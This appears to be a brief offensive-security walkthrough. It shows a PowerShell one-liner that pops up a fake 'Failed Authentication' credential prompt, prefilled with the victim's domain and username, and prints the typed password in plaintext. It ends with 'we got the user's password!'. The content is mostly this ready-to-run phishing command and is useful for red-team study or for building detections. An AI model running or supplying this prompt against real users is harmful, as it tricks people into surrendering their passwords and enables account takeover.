First: Run a PowerShell one-liner to ask the user for his credential
powershell "$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password"

Second: Let’s simulate that the user entered his password

Notice that we got the user’s password!